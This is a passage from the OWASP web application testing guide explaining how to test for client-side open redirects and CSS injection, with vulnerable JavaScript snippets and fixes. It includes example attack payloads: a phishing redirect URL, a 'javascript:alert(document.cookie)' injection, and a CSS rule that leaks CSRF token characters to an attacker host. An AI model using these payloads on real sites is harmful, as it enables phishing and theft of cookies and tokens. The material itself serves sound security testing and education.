1BO4r2U

189 190
Web Application Penetration Testing
Web Application Penetration Testing
Whitepapers
• Browser location/document URI/URL Sources - https://code.
google.com/p/domxsswiki/wiki/LocationSources
• i.e., what is returned when the user asks the browser for things like
document.URL, document.baseURI, location, location.href, etc.
Testing for Client Side URL Redirect
(OTG-CLIENT-004)
Summary
This section describes how to check for Client Side URL Redirection,
also known as Open Redirection. It is an input validation flaw that exists
when an application accepts an user controlled input which specifies
a link that leads to an external URL that could be malicious. This
kind of vulnerability could be used to accomplish a phishing attack or
redirect a victim to an infection page.
How to Test
This vulnerability occurs when an application accepts untrusted input
that contains an URL value without sanitizing it. This URL value could
cause the web application to redirect the user to another page as, for
example, a malicious page controlled by the attacker.
By modifying untrusted URL input to a malicious site, an attacker may
successfully launch a phishing scam and steal user credentials. Since
the redirection is originated by the real application, the phishing attempts
may have a more trustworthy appearance.
A phishing attack example could be the following:
http:/www.target.site?#redirect=www.fake-target.site
The victim that visits target.site will be automatically redirected to
fake-target.site where an attacker could place a fake page to steal
victim’s credentials.
Moreover open redirections could also be used to maliciously craft an
URL that would bypass the application’s access control checks and
then forward the attacker to privileged functions that they would
normally not be able to access.
Black Box testing
Black box testing for Client Side URL Redirect is not usually performed
since access to the source code is always available as it needs to be
sent to the client to be executed.
Gray Box testing
Testing for Client Side URL Redirect vulnerabilities:
When testers have to manually check for this type of vulnerability
they have to identify if there are client side redirections implemented
in the client side code (for example in the JavaScript code).
These redirections could be implemented, for example in JavaScript,
using the “window.location” object that can be used to take the
browser to another page by simply assigning a string to it. (as you can
see in the following snippet of code).
var redir = location.hash.substring(1);
if (redir)
window.location=’http:/’+decodeURIComponent(redir);
In the previous example the script does not perform any validation
of the variable “redir”, that contains the user supplied input via the
query string, and in the same time does not apply any form of encoding,
then this unvalidated input is passed to the windows.location
object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious
site simply by submitting the following query string:
http:/www.victim.site/?#www.malicious.site
Note how, if the vulnerable code is the following:
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
It also could be possible to inject JavaScript code, for example by submitting
the following query string:
http:/www.victim.site/?#javascript:alert(document.cookie)
When trying to check for this kind of issues, consider that some
characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs
variants as described here: http://kotowicz.net/absolute/
Tools
• DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS.com - http://www.domxss.com
Whitepapers
• Browser location/document URI/URL Sources - https://code.
google.com/p/domxsswiki/wiki/LocationSources
• i.e., what is returned when you ask the browser for things like
document.URL, document.baseURI, location, location.href, etc.
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on
the loose” - http://kotowicz.net/absolute/
Testing for CSS Injection (OTG-CLIENT-005)
Summary
A CSS Injection vulnerability involves the ability to inject arbitrary
CSS code in the context of a trusted web site, and this will be rendered
inside the victim’s browser. The impact of such a vulnerability
may vary on the basis of the supplied CSS payload: it could
lead to Cross-Site Scripting in particular circumstances, to data
exfiltration in the sense of extracting sensitive data or to UI modifications.
How to Test
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with the
legit stylesheets. Injecting code in the CSS context gives the attacker
the possibility to execute JavaScript in certain conditions as well as
extracting sensitive values through CSS selectors and functions able
to generate HTTP requests. Actually, giving the users the possibility
to customize their own personal pages by using custom CSS files results
in a considerable risk, and should be definitely avoided.
The following JavaScript code shows a possible vulnerable script
in which the attacker is able to control the “location.hash” (source)
which reaches the “cssText” function (sink). This particular case may
lead to DOMXSS in older browser versions, such as Opera, Internet
Explorer and Firefox; for reference see DOM XSS Wiki, section “Style
Sinks”.
Click me
if (location.hash.slice(1)) {
document.getElementById(“a1”).style.cssText = “color: “ +
location.hash.slice(1);
}
Specifically the attacker could target the victim by asking her to visit
the following URLs:
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-linksource:current;
(Opera [8,12])
• www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
The same vulnerability may appear in the case of classical reflected
XSS in which for instance the PHP code looks like the following:
p {
color: ;
text-align: center;
}
Much more interesting attack scenarios involve the possibility to
extract data through the adoption of pure CSS rules. Such attacks
can be conducted through CSS selectors and leading for instance to
grab anti-CSRF tokens, as follows. In particular, input[name=csrf_
token][value=^a] represents an element with the attribute “name”
set “csrf_token” and whose attribute “value” starts with “a”. By detecting
the length of the attribute “value”, it is possible to carry out
a brute force attack against it and send its value to the attacker’s
domain.
input[name=csrf_token][value=^a] {
background-image: url(http:/attacker/log?a);
}
Much more modern attacks involving a combination of SVG, CSS and
HTML5 have been proven feasible, therefore we recommend to see
the References section for details.
Black Box testing
We are referring to client-side testing, therefore black box testing
is not usually performed since access to the source code is always
available as it needs to be sent to the client to be executed. However,
it may happen that the user is given a certain degree of freedom in
terms of possibilities to supply HTML code; in that case it is required
to test whether no CSS injections are possible: tags like “link” and
“style” should be disallowed, as well as attributes “style”.
Gray Box testing
Testing for CSS Injection vulnerabilities:
Manual testing needs to be conducted and the JavaScript code analyzed
in order to understand whether the attackers can inject its own
content in CSS context. In particular we should be interested in how
the website returns CSS rules on the basis of the inputs.
The following is a basic example:
Click me
Hi
$(“a”).click(function(){
$(“b”).attr(“style”,”color: “ + location.hash.slice(1));
});
The above code contains a source “location.hash” that is controlled
by the attacker that can inject directly in the attribute “style” of an
HTML element. As mentioned above, this may lead to different results
on the basis of the adopted browser and the supplied payload.
It is recommended that testers use the jQuery function css(property,
value) in such circumstances as follows, since this would disallow
any damaging injections. In general, we recommend to use always a
whitelist of allowed characters any time the input is reflected in the
CSS context.
Click me
Hi
$(“a”).click(function(){
$(“b”).css(“color”,location.hash.slice(1));
});
References
OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/
CssText
Presentations
• DOM Xss Identification and Exploitation, Stefano Di Paola - http://